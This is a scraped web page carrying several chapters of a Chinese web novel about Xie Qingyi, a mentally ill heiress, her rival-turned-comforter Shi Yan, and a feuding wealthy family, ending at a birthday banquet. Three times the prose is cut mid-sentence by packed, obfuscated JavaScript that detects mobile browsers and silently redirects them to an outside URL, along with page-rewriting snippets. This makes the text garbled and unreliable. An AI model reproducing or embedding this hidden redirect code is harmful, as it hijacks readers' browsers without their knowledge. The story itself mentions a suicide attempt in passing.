RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798562|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万劫不复。 谢轻意不明白,人为什么会有情绪病啊,为什么会在精神上出问题。 大脑失控,导致行为异常,她想刹都刹不住。 施言上前,抱住谢轻意。 谢轻意把头埋在施言的怀里,终于绷不住,情绪决堤。她轻声说:“施言,我知道你想睡我,不是出于喜欢,你不喜欢我,你对我带着敌意而来,虽然,我不明白这敌意来自哪里,但我看得出来,你在对我织网捕猎……” 施言被拆穿也不慌,问:“我……表现得很明显吗?” 手轻轻地拢住谢轻意的头发,以指为梳,缓缓滑过。这头发的质感可真好。不知道是怎么保养的。 话出口,谢轻意又觉得自己好点了。没那么疼,没那么难受,也没有那么意识不清楚了,好像又一点点清醒,但又还是有点清醒不过来。 可她不知道该怎么办。 理智上,应该把施言赶出她家,不让施言靠近自己。 可她更不能一个人待着。会出事的。 让保镖守着她?他们的专业是保护人身安全,不是心理师,不提供心理、精神服务。她这样子,只会让他们为难,吓到他们。 谢轻意思来想去,竟然只有这么一个别有居心的,能为她在濒危之际提供一点点情感支撑。 如饮鸩止渴。 施言拉着谢轻意走到床边。 谢轻意冷冷地看着施言,没拒绝。 施言替谢轻意脱下披肩、外套,把人按倒在床上后,又替她脱了鞋子。 谢轻意脑子里又浮现起施言跟人进行限制级运动的面面。她闭上眼睛,反感,厌恶,觉得自己在自甘堕落,又似已经堕入黑暗中。她不知道自己会不会后悔,但她知道,这会儿不做点什么,她是真的会杀人。 被撕碎,总好过去杀人犯罪强吧! 施言替谢轻意脱掉鞋袜后,又替她盖上被子,自己也脱了外套鞋子钻进被窝,轻轻揽住浑身崩紧的谢轻意,轻声道:“陪你睡会儿,免费的暖床服务。” 手臂小心地绕过谢轻意受伤的左手,将手落在谢轻意的后背,像哄孩子般轻轻拍着她。她说:“我难受的时候,我妈就是这么哄我的。” 谢轻意愕然地睁开眼,看向施言:你不趁虚而入? 施言笑笑,说:“谢轻意,虽然我有时候确实想不干人事,但还没禽兽到这份上。我确实有点讨厌你,想对你做点什么,但我还没有不想当人。哄哄你,就当你欠我一个人情,行吧?” 谢轻意盯着施言看了看,从她的表情看出半真半假。她“嗯”了声,把头埋在施言的怀里,轻声说:“我爷爷没有了,我好难过的。光没了,天塌了,隔离带撤了,所有的温情全没了,大伙儿兵戎相见短兵相接,鲜血淋漓。” 施言心道:“这是积压了多少委屈啊。”这时候,少说话,当个倾听者。她轻轻地拍着谢轻意的背,哄着。这孩子缺爱,缺安全感。 窗外,响起极轻微的脚步声,女保镖轻手轻脚的出现在门口,小心翼翼看向卧室。 她俩不放心老板,竟是翻墙进来了。 施言心说:“你的保镖对你是真忠心!”冲女保镖比划了个OK的手势。 两个女保镖见施言在哄老板,没有闹出事,又比划了个感谢的手势,退到院门口,打开门,对守在外面的保镖说:“没事,施言小姐在安慰老板。” 18. 第 18 章 谢轻意把压在心里头最难受最不愿让人看到的说出来,好像这些并没有成为谁攻击的弱点,好像天没有塌,好像自己能承受得住说出来的后果,好像自己是可以脆弱的。 随即,悲从中来。 小时候,明明她没有犯错,明明她才是受害者,明明她在诉说她遭到的伤害和委屈,遭受到指责怒骂的却是她,好像一切都是她的罪过。 她以为自己不在意,她可以照顾好自己,护好自己,可这些伤害埋在心底化成了脓疮,在不知不觉间几乎让她病入膏肓。 她需要一场刮骨疗伤,一场大手术剜掉这些脓疮,把坏死的部分清除掉,让伤口重新长出血肉。 谢轻意感觉自己仍旧埋在黑暗中,但周围似乎静了下来,思绪不再混乱,心口也不再是沉甸甸的压着疼,被子里渐渐多了些暖意,那轻拍后背的手,让她恍惚间似回到小时候奶奶还在那会儿。 那时候,她偎在奶奶的身边,听奶奶讲故事唱歌,奶奶的声音软侬侬徐徐缓缓的,很好听,且让她极安心。 伯伯姑姑堂哥堂姐们不来的时候,园子里不是吵吵嚷嚷的,很安静,她支起小画板,画花、画蝴蝶、画蓝天,开开心心的。 奶奶跟她说:“轻意,人走了,就什么都不知道了。你不要伤心,要开开心心的,那些让你不开心的人,你都不要去在乎他们,你只需要在乎关心你、在乎你的人就好。你就把他们当成一面镜子,他们怎样对你,你就怎样对他们……” 她听奶奶的,跟自己说不伤心,不在乎,不难受,但其实,还是会的。 明白和做到,是两回事。 谢轻意又往施言的怀里靠了靠,轻轻地蹭了蹭。 她知道这是施言,不是奶奶,自己不该这么靠近去汲取温暖。 可施言捂得被窝里暖融融,带来的温度能暂时驱寒周身的阴寒,能让她想到奶奶,能让她感觉到久违的被抱着的感觉。 抱抱她,让她靠靠,她需要汲取温暖积蓄力量把自己拯救出来。她想好好睡一觉,放下心里的难受和疲惫,什么都不想,就这样好好的睡一觉。 施言顺势把钻往怀里的谢轻意揽得更紧些,怀里的谢轻意一点点放松下来,然后,渐渐的,睡熟了。 熟睡中的谢轻意安静又乖巧,柔弱温软的模样,似温香软玉在怀,又似受伤的小动物在寻找依靠。 施言只觉有什么在戳着心口,有一点点心要化开的感觉,又有种想化身禽兽趁机欺负她的冲动,还想俯身亲下去。她想,口感一定很好,看起来就是软糯糯凉沁沁的,可又不忍心打扰到谢轻意睡觉,怕谢轻意醒来又陷入极度痛苦中。 …… 谢老六在接到施言的电话后,便直奔高铁站,坐最近的一趟高铁赶到谢家老宅。 他得知谢轻意在睡觉,有施言陪在旁边,找保镖打听到谢轻意的主治医生是谁后,赶去医院,找主治医生了解完病情,再以家属的名义要了份谢轻意的病历档案,仔仔细细看完,这才打电话联系谢老七,问他在哪。 饭店里。 谢老七的脸色郁郁的,见到谢老六也没个好脸色,说:“六哥都知道了?” 谢老六点了菜,吩咐服务员上菜,对谢老七说:“先吃饭吧。” 谢老七说:“没胃口。” 谢老六等服务员把菜上齐,见夫妻俩都没动筷子的心情,将放在旁边的手提袋递给谢老七,说:“那你看看吧。” 谢老七抬眼一扫,厚厚的一叠参差不齐的纸质东西,像是文件。 他困惑地扫了眼谢老六,拿出来翻开,入眼是病历二字,再一看名字,谢轻意,跟摸到什么脏东西一样缩回手,差点没忍住扔出去。 他阴着脸说:“这有什么好看的?” 谢老六瞥了眼谢老七,说:“我记得轻意的名字是老爷子起的。轻生一快意,波浪五湖中,老爷子希望她能过得轻松自在快意,可以像波滔一样自由自在无拘无束地畅游五湖四海。” 谢老七想起那畜生就只剩下冷笑,不接话。 谢老六见无法用忆当年唤醒父爱,于是换了个,说:“病历就在这里,想知道她为什么要捅你,你自己看吧。” 谢老七不想看,想扔出去。 谢老六上都让谢老七给整无语了。谢轻意都要捅死他了,他还不找原因,病历都送到跟前来了,不看! 既然劝不动,说不通,于是很直白地告诉他:“老七,孩子病到快死了,你们连病情都不问一句,连病历都不肯看一眼,还能骂她是畜生!说句难听的话,就算是头畜生见到自己的崽受伤,还知道给舔一舔伤口安慰安慰。可你呢?” 谢老七被骂得这么难听,差点没忍住当场翻脸。 谢老六收起谢轻意的病历,又说:“你们自己想想自己干的那些事,想想大哥和你们,谢轻意更恨谁!” 真当他心急火燎千里迢迢赶过来是闲的吗! 谢老六冷声道:“就在今天早上,谢骏跳楼了!” 谢老七抬起头,皱眉,问:“谢骏?谁啊?” 谢老六呵地一声,说:“大哥家的。大哥中了人家给他量身定做的投资骗局,他好几个儿孙跟着套了进去,所有积蓄全没了,欠一屁股债。谢骏受不了,今早跳楼了。老大家在局子里蹲着的,够凑出一个足球队了。” 谢老七气得脸上的肌肉都在抖,习惯性的刚想骂这个畜生,又想起,老大更畜生。忽然,一个念头划过脑海,他震惊地抬起头看向谢老六,问:“这畜生不会连我一起对付吧?” 他伸手去拿病历本。 谢老六没给他,直接收走了。 让你们关心孩子的时候,病历送到面前请你们看都愿意看一眼。当发现孩子变成仇人要对付自己的时候,想看病历了。 谢老六在一旁看着都寒心。 他揣好病历,转身出了饭店包间便打电话给退伍转业的战友和在本地发展的发小,叫他们出来吃宵夜,拜托他们帮忙护着点谢轻意,要是有什么事,或者听到什么风声,赶紧通知他,别让这孩子被人欺负了去。 为了避免谢老七跑去找关系将谢轻意送去强制治疗关起来什么的,他先把谢老七在本地能走动的关系给他断了,剩下的父女俩自己斗法去吧。 快过年了,到处都忙。他有重要会议要开,第二天大清早,坐最早的那班高铁走了。 他坐上高铁后,担心谢轻意还没睡醒,吵到她休息,发短信把战友和发小的联系方式给了谢轻意,告诉她,要是有麻烦,可以找他们几个帮忙。 这些年家里能这么消停,谢轻意功不可没。 不说旁的,他的三个孩子想要买房买车买奢侈品,找爷爷撒个娇,爷爷说买,跟谢轻意说一声,回头钱就到账了。 谢轻意虽然成天冷着个脸不爱理人的样子,办事却是极妥贴周到。 要是谢承安来替老爷子管家,得忙着给自己捞油水,哪有功夫管侄子侄女们死活。这些年,他盯着谢轻意咬,想拉着他们一起对付谢轻意,才没给他们找麻烦。谢轻意还没出生那会儿,他们这些弟弟妹妹大多时候都是捡大哥的剩,大哥玩过的用过的不要的,给他们!他但凡多花家里一点钱,大哥那脸色,啧! 要不是谢轻意替老爷子当了这么多年家,又跟大哥斗了这么多年,他们到手的遗产,哪有现在这么多!说是开盲盒分古董箱子,他喜欢的那几件可都在他分到的那个盲盒里。他那三个孩子,开盲盒开到的东西也都极合心意,可给得瑟完了。老四那么不待见谢轻意,开盲盒开到母亲生前用过的许多珠宝首饰,还有一本母亲的日记本,解了多年心结。老二、老三的盲盒箱子抬回去,捂得严严实实的,半句不提开出什么,可见也是极满意的。要说这里面没有谢轻意的特意安排,他都不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798563|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这么一个孩子,摊上老七那么一对父母,以及几个糊涂姑伯,弄成这般模样,谢老七心里都堵得慌。 …… 谢轻意只觉自己睡得特别沉,特别久。 她睁开眼,床上只剩下自己,女保镖坐在旁边的单人床上看着她。 女保镖到谢轻意身边,问:“老板,你醒了?” 谢轻意问:“几点了?” 女保镖说:“上午九点五十。” 上午?谢轻意又问:“今天几号?” 女保镖说:“腊月二十四。” 谢轻意低喃句:“小年了啊。” 她坐起身,瞥见床头柜上,自己的手机下压了张折叠起来的信纸,一看就是从她打草稿的本子上撕下来的。 她展开信纸,上面写的是:“趁你睡着偷亲了你,就当是陪你一夜的报酬。” 没落名,但一看就知道是施言。 人不怎么样,字非常漂亮,像明媚张扬时的施言。 谢轻意起床,洗漱完,穿戴整齐,去到前院,径直去往财务室。 过小年,发红包,吃团年饭。考虑到要他们要回乡,本来月底三十号发这个月工资,提前到今天发。过年嘛,放假也是按照满月全勤算工资。 过小年要扫屋子、贴窗花、祭灶神。 谢轻意也就是祭社神的时候去上了个香,其它的事都是由管家去张罗。 往年这时候,已经开始送年礼。老先生在时,人情走动多,谢轻意得忙着出去跑腿送礼,今天省了!人家也不怎么往她家来,一下子清闲下来。 她去到老先生的院子,躺在谢老先生的摇椅上。如果谢老七再来找她麻烦,她必定不会放过他。她不知道老先生要是看到谢家如今的光景,会作何感想。 管家拿着张请帖进来,说:“明天是程老爷子八十大寿,帖子上个月就送来了。” 谢轻意看了眼帖子,不想去。程老头的几个儿孙都不顶事,家里逐年走下坡路,最近资金链断了,正在到处找钱续命。她去了,程老头要是拿老先生的交情说事,她总不能才两个月时间就来个人走茶凉吧?投了,看不到什么赚头,亏的可能性还不小。 管家劝道:“您老闷在家里,都憋坏了。多走走,说不定就开心起来了呢。” 谢轻意不想去,不想出去走。可老先生生前的往来关系,不能他一走就真的全断了。她点点头,又去找来往年的礼单,按照变动进行了调整,然后写了份备礼的清单交给管家,让他准备好以后,按照礼单送去。 她跟几个伯伯姑姑再不待见,该走的礼也得走。谢轻意把他们的也备上了,离得远的就寄过去。当然,牢里的那个就免了。她只想给他送断头饭,大过年的,多不好。 她拟完单子,想起手机好像一直没动静,拿起手机才发现关机了。不用想都知道又是施言干的。保镖可不会来关她的手机。 她开机后,收到一堆消息,其中一条是六伯发来的。 谢轻意看到短信便知道六伯肯定回来过,于是回了个电话过去,之后把六伯的几个铁哥们加到了通讯录,发完短信问好后,也给备了年礼。第一次走动,又是六伯特意安排,于是自己跑了趟。 入夜时分,谢轻意刚回卧室就收到施言发来的消息:“亲,需要陪床服务吗?免费。” 谢轻意敲了个问号过去。 施言又发来消息:“失眠了找我。” 谢轻意直接把手机扔到一边,然后坐到软榻上看书。 夜里,她躺床上睡不着。失眠! 施言发来的那条消息,跟有毒似的在她的脑海里来回回荡。免费的才是最贵的,施言居心不良! 谢轻意在要叫施言过来哄睡和不给施言机会之间来回挣扎,她纠结来去,不知不觉间睡着了。睡梦中,不是被施言亲了,就是施言勾引她。烦! 19.第 19 章 谢轻意做了一晚上梦,其中还涉及不可描述的内容,没睡好,很烦,还有点无语、羞耻,起床后一直蔫蔫的提不起精神,整个人把丧字写到脸上。 她手上有伤,打着夹板绑着绷带,为防影响到筋和韧带恢复,还要吊着绷带,没弹性的窄袖衣服通通不考虑,挑了身中长款宽松毛衣套身上。腊月天,正是一年里最冷的时候,为防感冒,加了件披肩在身上。 程老先生的寿宴办在中午,她九点多出门,先去医院换药。 虽说家庭医生也可以换药,但小伤口什么的可以在家处理,伤到筋骨韧带,还是去正规医院找专业医生处理比较好。 谢轻意抵达举办寿宴的酒店时,已是十一点多。 程老先生的名字叫程侯,最开始是在家务农,开放自由经济市场后就开始跑买卖做生意,听说倒腾古董文物挣钱,入了古董行当,做捐客,当二道贩子,一来二去的,就认识了谢老先生。他跟谢老先生的脾气对路,渐渐处成朋友,时常有合作。在古董市场火热的那些年没少挣,随着财富地位不断提升,名字从程猴子,变成了程哥、程老板、程爷、程老,成为本地赫赫有名的古董收藏家。 他有三个儿子两个女儿,小女儿在区里当公务员,另外四个都在经商,在经济形势大好的时候疯狂扩张,投资了特别多的产业,号称千亿豪门S城首富,在当地算是有头有脸的头面人物。因此程家老爷子大寿,来的人极多。 谢轻意不想早到去应酬 ,拖拖拉拉的,正好赶上入场高峰期。 宾客多到把去停车场的路都堵住了,酒店的工作人员正在门口指挥车辆进行疏导,车子便宜的往停车场去,车子贵的,往前开。 她坐的车买成一千多万,又有三辆坐满保镖的大路虎前呼后拥,排场够看,工作人员让他们直接往宴会厅方向去。 车子越往前开,越慢,甚至都停下来了。 谢轻意探头朝前方看去,便见宴会厅前面铺着红地毯,安排有摄影师在那里拍照录像,把寿宴入场办成大明星搞活动走红毯。大门口聚集了一大堆宾客在围观后面入场的人。这阵仗,联系到程家最近出现的资金危机,显然是出于商务需要。 她不喜欢这种喧喧闹闹的场面,更不想让人围观,忍下调头回去的冲动,对坐在旁边的保镖队长说:“待会儿你和花花跟我进去,其他人留在外面。” 保镖长队应下,当即联系其他三辆车上的保镖,让他们拐出去找地方停车等。 好一会儿过后,谢轻意的车子来到红毯跟前。 戴着白手套的迎宾迎上来要伸手开车门,保镖队长已经率先下车,把车门打开,将迎宾挡在一旁,护着谢轻意下车。 女保镖吕花花从副驾驶位下车,撑伞,替谢轻意挡住飘落的雪花。 旁边的摄像组早盯上这辆千万豪车,立即围上来对着谢轻意咣咣咣一通拍。 谢轻意忍着曝光在镜头下的不适感,迈上台阶,一眼看到一个特眼熟的女人站在宴会厅门口,施言。 施言今天走的是明媚张扬风,容光潋滟,像阳光照在波光粼粼的水面,让人眼前一亮,似乎多日积攒的阴霾都因她而淡了许多。 好看! 谢轻意没忍住多看了两眼,又想起昨晚的梦,差点想抠脚趾头。可随即,她的目光跟施言俯视下来的视线对上。 施言的脸上噙着笑,笑意有点冷,眼里充斥着戏谑调侃的意味。她的动作不是要进去,而是侧身退后让开门。 谢轻意立即意识到,有情况?下意识地望向门口。 程老先生的二孙子程长明在门口迎客,一个长得挺好看打扮挺精致的女人挽着他的胳膊,一副正牌女友的模样。 这女人叫谢甜甜,是谢承安的孙女,谢骏的大女儿。 谢轻意以为认错了人,把人看了又看,确实是谢甜甜。 她有点被惊到了。 难怪施言是那眼神! 谢骏昨天早上跳楼没了,这人不忙着操办丧事,跑到这里来替程老先生招呼客人? 你家有丧事啊,你跑来参加人家的整寿寿宴,忌讳不?程家人也很离谱。不把她请走,还让她来招呼客人? 谢轻意果断装不认识谢甜甜,本来也没搭理过她!实在是丢不起那人。不知道只怕得说是谢家没规矩。 她没忍住又悄悄瞥了眼施言:施言跟谢甜甜同岁,两人初一的时候一个班。谢甜甜带人霸凌施言,让大伯母把脸都打肿了。施言来赴宴,刚才被这个待客的刁难了? 谢家内讧闹到程老先生的寿宴,也是够离谱的。 谢甜甜显然没打算放过施言,继续说:“还不走?都说了这里不欢迎你,脸皮怎么这么厚呢,要我让保镖把你扔出去吗?” 施言的下巴往谢轻意这里一点:“喜欢用保镖扔人的正主儿来了。” 学人也不知道学像点,想用保镖扔人,你到是带上保镖啊。哪像这位,身边看着就 俩,天晓得哪个角落里蹲了两车都不止。谢甜甜被谢轻意让保镖扔出过谢家大宅好几回,听这语气,落下心理阴影了吧。霸凌者被霸凌,啧! 谢轻意扫了眼施言:你俩的过节,扯我身上做什么。 周围的人都看过来了,还有人在问这是谁,更有拿手机要拍视频了。 谢轻意的保镖队长和女保镖不动声色地用自己的身板遮挡住旁边人的视线和镜头。 谢轻意不愿待在这里让人看热闹,取出程老先生亲自下的请帖递过去。 谢甜甜一把接过请帖,看都没看,哗啦啦撕碎塞进了旁边的垃圾桶,下巴微挑,想用俯视的角度睥睨的姿势望向谢轻意,奈何身高不够,于是仰起脸和下巴用斜视的眼神扫向谢轻意:这里不欢迎你。 谢轻意看向程长明:你这个主人家又是什么意思? 程长明面带微笑,客气地说道:“抱歉谢小姐,我女朋友不喜欢你。”对着外面做了个请的手势。 谢轻意退后几步,跟施言站成一排。 施言从小在谢家人面前就没有过脸面,谁都能踩上一脚,这场面得经历多了去。不过谢大小姐倒是头一回吧。她笑意盈盈地问谢轻意:“丢脸不?” 谢轻意实话实说:“有点。” 谢甜甜见她俩居然在旁边站一起聊上天了,上前两步,气势逼人:“还不走?真要让我叫保镖来扔你们吗?要点脸吧!” 施言直乐,说:“你倒是扔啊。”她退后一步,果断地站到了谢轻意的身后。 程长明带着客气的微笑,道:“二位,请离开吧,不要闹得大家脸上都不好看。” 谢轻意懒得跟他俩计较,摸出手机,拨打电话。 施言的眼力很好,一眼扫见谢轻意手机屏幕上显示的名字是:程侯。 她心说:“哟,有好戏了。” 程长明说:“谢小姐,你是想给我爷爷打电话吧。我爷爷今天没空理你。我直说,我只喜欢甜甜,对你一点好感都没有。我爷爷想撮合你跟我,那是他一厢情愿,跟我没关系。我是有女朋友的人,还请你自重!” 你也配?施言顿觉不爽,上下打量眼程长明,长得真丑,脑子有坑!她又看向谢轻意,便见谢轻意的眼神冷了下来,又是一乐。还是看好戏吧!谢大小姐最擅长的就是掀桌锤人砸场子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13802509|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 电话接通,程老先生的中气十中分外和蔼的声音从电话里传出:“轻意啊,你到了吗?我们都等你半天了。” 谢轻意连个眼神都没再给程长明,淡声说:“到了,被你孙子和准孙媳拦在门口不让进,话里话外的意思是,你明知道他俩凑成一对,还要把我撮合给你孙子。您老这是……”不想好好办八十岁寿宴了吗? “哎哟我艹他祖宗!”程老先生一声大喝,连声道:“你在门口等我,别走,千万别走,我现在就过去。” 谢轻意挂了电话,直接离开大门口,站到了一旁。她面无表情地看着远处,大概是眼神过于冷冽,以至于浑身上下释放的气压把腊月飘雪天的寒气都压住了。 一男一女俩保镖,男保镖站面离她两步远的地方警惕地留意着四周,女保镖则撑着伞站在她的身侧不仅用伞替她挡住头上的风雪,还站在上风口,用自己的身体替她挡风。 她的气质,以及身旁的保镖的气质、举动,三个人直接把声势拉满,让人一看就觉得来头不简单。 施言去到谢轻意的身旁,双手插兜,一副悠哉的模样,问:“你昨晚没睡好?” 还提昨晚!谢轻意的表情差点没绷住,愤然地扭头看了眼施言:都怪你发的那条短信! 施言满脸茫然兼无辜:“我没惹你吧。” 谢轻意哼笑一声,懒得搭理她。 施言拖长声音“哦”了声,说:“看来是有了。哎,我的请帖被撕了,你带我进场。” 谢轻意心下诧异,扭头看向施言:你用得着我带你进场? 惠仁集团的施总哎,好歹也是几个亿身家的年轻富豪。程家来这么多人,好多一看就是中小企业供应商,他们都能进,你进不了? 施言“啧”了声,说:“好歹我俩是睡过一张床的交情,借个光怎么了?” 什么叫睡过一张床的交情?这话听起来你不觉过于暧昧会惹人误会了吗?谢轻意知道她是故意的,于是扔过去两个字:“闭嘴。” 施言笑道:“遵命——” “你个狗逼玩意儿,烂泥扶不上墙的狗东西,给你抬举让你来门口迎客,你给老子捅篓子,我艹你祖宗,你个狗东西,不撒泡尿照照自己看看自己什么德性,烂玩意儿……” “哎哎,爷爷别打,爷爷别打,好多人看着呢——” “你还知道好多人看着!我去你祖宗……” 骂得极脏,极粗鲁。 施言听到骂声,心想:“谁在程首富家的寿宴上闹事……”一回头,好家伙,寿星公脱了鞋子,在宴会门口用鞋底抽孙子。她随即反应过来,这是打给谢轻意看的!她看向谢轻意的眼神都带着震惊:祖宗,您什么来历? 要不是从小认识谢轻意,翻过她家祖谱,自己还上过她家祖谱,认识她家所有亲戚,都得怀疑谢轻意是什么了不得的人物。 可正常情况下,不是派个身边的人把谢轻意迎进去,顺便训程长明几句就完事了吗?你们这是唱的哪一出? 施言震惊且困惑了。 程老先生打得程长明从宴会厅门口跑开了,这才把鞋子穿上,环顾四周,一眼看到站得远远的谢轻意,健步如飞赶过来,忙说:“轻意,程爷爷揍过那狗东西了,等回头我办完寿宴,叫他到你家门口跪着赔礼去。” 谢轻意说:“不至于,揍过就完事了,这事翻篇了。” 程老先生的眼睛一下子瞪得滚圆,问:“你胳膊怎么了?” 谢轻意说:“割腕自杀没死成,筋断了。” 程老先生呆住。他还想回去再抽几下孙子。狗逼东西惹谁不好,惹这活阎王。 20.第 20 章 程侯是自家情况自己知道。 他到三十岁那会儿还在地里刨食,家里穷得都揭不开锅了,最小的孩子更是连裤子都没得穿,成天光屁股到处跑。他一想,不能再这样穷下去,见别人倒腾生意赚了钱,自己也去,干了几年没干出个名堂。直到他三十五岁那年,有一回弄了点比较肥的土装到城里卖,恰逢谢家种花要买土。 他送花土路过前院的时候,遇到谢家老爷子在跟人买古董,百块大钞一叠叠地撂在一起,足有半个巴掌厚,好几万呐。那时候,一个月工资才二三十块钱,谁家要是有一万块存款,那叫万元户,是非常了不起的。他想都没想过还有人能那么花钱,于是好奇地问了句管家,“买什么东西要花那么多钱?” 管家随口答了句:“古董文玩,一些上了年头的老东西。” 他回头就去打听什么是古董文玩,又找了家古董铺从打杂的干起,偷师,学到了点东西就跑去淘货,第一笔买卖就是送去谢家。他跑到大西北,跑了好多地方,花了大几百收了一大堆东西,谢老先生只挑中一个碗,给了他三千块钱。跟他说,哪些东西可以拿去扔了,哪些东西可以往哪家铺子送。那些送往铺子里的东西,他又卖了好几百……自此踏上发家的路。 后来混熟了,古董铺的人才告诉他:“你要是不提那嘴是谢先生叫你送来的,就你这半懂不懂的样,几十块钱就能把你那批东西收了。” 别看程家现在号称一城首富,千亿资产,那都是吹出来的。 水分挤一挤、债务清一清,立即变成资不抵债,他的棺材本都让这几个狗东西搭进去了,现在哪哪都是窟窿烂摊子。他们学人家玩资本转盖子游戏,玩砸了,资金链断了,盖子转不动了,快露腚了。 谢家表面看起来就是一个老宅子值钱,一家子为了一个眼看要破产的惠仁集团人脑袋打成狗脑袋,跳楼的跳楼,进去的进去,实际上,他跟谢家打了几十年交道,至今看起来仍是云遮雾绕,只能隐约窥见一二。 他上个月去谢家送帖子,没见着谢轻意,是管家接待的。 他都没敢想谢轻意会来,毕竟这祖宗向来不爱搭理人不爱应酬,连自家待客都烦得不行,更何况最近谢家发生了那么多事,哪还有心情搭理他啊。 他接到谢轻意的电话,愣了好几秒才反应过来。她这是看在他跟谢老爷子打了几十年交道的份上,给点面子过来坐一坐。程家的这点东西,谢轻意心里门儿清,能来,说明有考虑伸手捞那么一把。她肯伸手,程家这场危机就算是过去了。 哪想到程长明那厚颜无耻的狗东西把人拦在门口不让进,还敢说撮合他跟谢轻意,他是怎么说得出口的啊。 谢承安那么人脉广大的人物,在谢轻意这里被称作废物点心,谢老爷子过世不到两个月,就给收拾完了!谢承佑那么高的位置,在谢轻意这里就是个纯血傻逼,发朋友圈直接开骂的那种。亲爹亲妈惹到她,人家都照样收拾。你程长明算个什么东西! 程侯用鞋底抽孙子,那是抽得真心实意,气急败坏。 他一把岁数,又有这么多人看着,不能落了面子,摆出和蔼可亲的长辈模样,把谢轻意往里请:“外头风大,这又是风口,可别着凉了,到里面坐。老段、老陶他们几个都在,正好聚聚,说起来都有好几个月没见着你了。” 八十岁的老先生过寿辰,谢轻意得给人面子,跟在程老先生身边往里去,顺着他的话客气问道:“段老、陶老他们都还好吗?” 程侯应道:“都好,都好。刚才在里面下棋,还差点吵起来呢。” 谢轻意走了几步,没听到施言跟上的脚步声,回头看去:干嘛呢?不说要借光吗? 施言仍在惊愕中,直到谢轻意回头才回过神来,不徐不慢地跟上去。 程侯在谢老爷子的丧礼上见过施言,笑呵呵地问道:“言言是跟轻意一起来的?” 施言笑着回道:“我先到,请帖被撕了,没进得去,正好跟轻意凑一块儿了。” 程侯又想脱鞋子打孙子。 这个为了帮养母报仇,把谢承安送进了局子,把惠仁集团抢到手就奔着破产搞!谢家年轻辈里最不好惹的两个人,程长明一下子全给得罪了。 程家子孙里,但凡有一个有她俩这能耐的,他做梦都要笑醒。 程侯直叹气:“子孙不肖啊,儿孙都是债啊!”把他的棺材本都赔进去的那种啊。 谢甜甜在旁边看着程侯对待谢轻意的态度气得直咬牙。明知道谢轻意害得她家破人亡,还把她当成座上宾? 她快步走到程侯和谢轻意跟前,用周围所有人都能听得到的音量大声说:“爷爷,您还不知道吧,谢轻意骂我七叔七婶是纯血傻逼,气得我七叔七婶早就不管她了。她闹自杀,在医院都快死了,他们也没去看过她。还理这么一个父母都不要的畜生做什么!” 程侯的脸当场就绿了。 程长明躲在旁边瞧见爷爷的脸色,吓得直接躲到了柱子后面。 施言心说:“果然是谢承安的种,一脉相承呐。”她朝谢轻意看去,只见谢轻意的脸上看不出半点情绪,但眼里全是阴霾,似山雨欲来。 保镖队长跟了老板八年,这种事都不用老板给反应。他一把揪住谢甜甜的胳膊,左右开弓,啪啪啪啪四个巴掌扇下去,拽着人往旁边走出十几米远,用力地往地上一甩,把谢甜甜甩得摔倒在地,再头也不回地调头回到谢轻意身边。 这一套动作行云流水,老熟手了。 看热闹围观的人一个个目瞪口呆,全都看傻了眼。 程侯回过神来,赶紧对谢轻意说:“是甜甜不懂事,失礼了,失礼了。” 谢轻意淡淡地点了点头,道:“无妨。她向来如此。” 待客,最忌讳把有过节的人凑一块儿,一般都会特意分开,或事先安抚好双方,以免起冲突。谢甜甜能在门口做迎宾,能这么肆无忌惮地挑事,说明程侯根本没想到她会来,自然也没有事先安排。倒是显得她多事冒失了。 只是都到这份上了,她不能扭头就走折了双方颜面,于是默默地跟在程老爷子身边进入宴会厅。 谢甜甜从地上爬起来,想着反正她都没脸了,她要让谢轻意在这么多人的场合也丢人现眼。她高声喊:“谢轻意,你这个父母都嫌弃的杂碎,畜生,杀人凶手,你不得好死……” 程长明吓得从柱子后面跑出来,飞奔赶到谢甜甜身边去捂她的嘴。别骂了,你没见老爷子对谢轻意的态度有多客气吗!那都是不客气了,是巴结讨好。 谢轻意走到宴会厅门口,听到谢甜甜的骂声,驻足,回头,眼里情绪翻涌,只觉意识一下子卷入黑暗中,且在迅速抽离往着漆黑的高空飞去,周围的一切都变得不真实起来。 “谢轻意!”施言的声音响在耳畔,又显得有些飘忽,听不太真切。 “轻意!轻意!”是程侯的声音,带着急切,似想将她唤醒。 谢轻意闭上眼睛压下心头纷杂的念头,努力将思绪拉回,朝着厅里走去。她感觉后背一阵麻木,灵魂似从头顶蹿出正在抽离,身体变成傀儡或行尸走肉。 程侯一边引导着谢轻意往里去,一边对赶到的大儿子低声吩咐:“赶紧把谢甜甜拉走,别让谢……那谁的人出现在轻意面前。”怕刺激到谢轻意,都没敢提谢承安的名字。 施言上前,握住谢轻意的手。谢轻意的手指冰凉,毫无温度,像细细的冰锥,仿佛轻轻一握就要折断。她知道谢轻意病得不轻,却没想到一句话都能刺激到谢轻意几近失控。 